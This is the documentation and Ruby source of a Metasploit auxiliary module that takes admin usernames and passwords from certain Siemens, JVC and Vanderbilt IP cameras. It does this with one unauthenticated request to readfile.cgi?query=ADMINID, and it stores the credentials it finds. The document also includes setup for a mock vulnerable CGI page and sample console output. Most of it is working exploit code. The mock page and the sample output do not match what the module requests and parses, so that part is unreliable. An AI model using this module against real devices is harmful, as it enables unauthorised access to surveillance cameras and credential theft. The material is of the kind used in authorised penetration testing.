ipcamera password disclosures
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## Description
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SIEMENS IP-Camera (CVMS2025-IR + CCMS2025), JVC IP-Camera (VN-T216VPRU),
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and Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR)
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allow an unauthenticated user to disclose the username & password by
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requesting the javascript page 'readfile.cgi?query=ADMINID'.
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Siemens firmwares affected: x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235
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## Vulnerable Application
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This module has been verified against the mock vulnerable page listed below.
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### Mock Vulnerable Page
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These instructions will create a cgi environment and a vulnerable perl application for exploitation.
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Kali rolling (2019.1) was utilized for this tutorial, with apache.
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#### Setup
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1. Enable cgi: `a2enmod cgid`
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2. `mkdir /var/www/html/cgi-bin`
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3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/html/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags
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4. Create the vulnerable page by writing the following text to `/var/www/html/cgi-bin/readfile.cgi`:
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```
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#!/usr/bin/perl
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use CGI qw(:standard);
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$query = new CGI;
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print $query->header( -type=> "text/javascript"),
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$query->import_names( 'Q' );
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my $data = <<'DATA';
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var pw_enflag = "1";
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var pw_adminpw = "12345";
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var pw_retype1 = "12345";
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var pw_userpw = "56789";
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var pw_retype2 = "56789";
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var pw_autolock = "0";
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DATA
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if ($Q::page == 2) {
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print $data;
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}
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```
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## Verification Steps
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1. Start msfconsole
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2. ```use auxiliary/gather/ipcamera_password_disclosure```
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3. ```set rhosts [rhosts]```
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4. ```run```
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## Scenarios
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### Against the Mock page listed above
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```
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msf5 > use auxiliary/gather/ipcamera_password_disclosure
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msf5 auxiliary(gather/ipcamera_password_disclosure) > set rhosts 127.0.0.1
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rhosts => 127.0.0.1
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msf5 auxiliary(gather/ipcamera_password_disclosure) > run
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[+] Found: admin:password
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[*] Scanned 1 of 1 hosts (100% complete)
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[*] Auxiliary module execution completed
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```
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'Siemens/JVC IP-Camera Password Disclosure',
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'Description' => %q{
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SIEMENS IP-Camera (CVMS2025-IR + CCMS2025), JVC IP-Camera (VN-T216VPRU),
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and Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR)
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allow an unauthenticated user to disclose the username & password by
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requesting the javascript page 'readfile.cgi?query=ADMINID'.
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Siemens firmwares affected: x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235
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},
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'References' =>
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[
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['EDB', '40254'],
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['EDB', '40263'],
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['EDB', '40264']
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],
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'Author' =>
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[
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'Yakir Wizman', # discovery
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'h00die', # module
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],
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'License' => MSF_LICENSE,
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'DisclosureDate' => 'Aug 16 2016'
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)
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register_options([
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OptString.new('TARGETURI', [false, 'URL of the IP-Camera root', '/'])
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])
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end
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def run_host(rhost)
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begin
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url = normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'readfile.cgi')
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vprint_status("Attempting to load data from #{url}?query=ADMINID")
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res = send_request_cgi({
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'uri' => url,
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'vars_get' => {'query'=>'ADMINID'}
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})
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unless res
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print_error("#{peer} Unable to connect to #{url}")
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return
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end
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unless res.body.include?('Adm_ID=')
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print_error("Invalid response received for #{peer} for #{url}")
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return
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end
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if res.body =~ /var Adm_ID="(.+?)";[\r\n]+var Adm_Pass1="(.+?)";/
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print_good("Found: #{$1}:#{$2}")
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store_valid_credential(
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user: $1,
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private: $2,
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private_type: :password
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)
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end
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rescue ::Rex::ConnectionError
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print_error("#{peer} Unable to connect to site")
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return
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end
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end
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end
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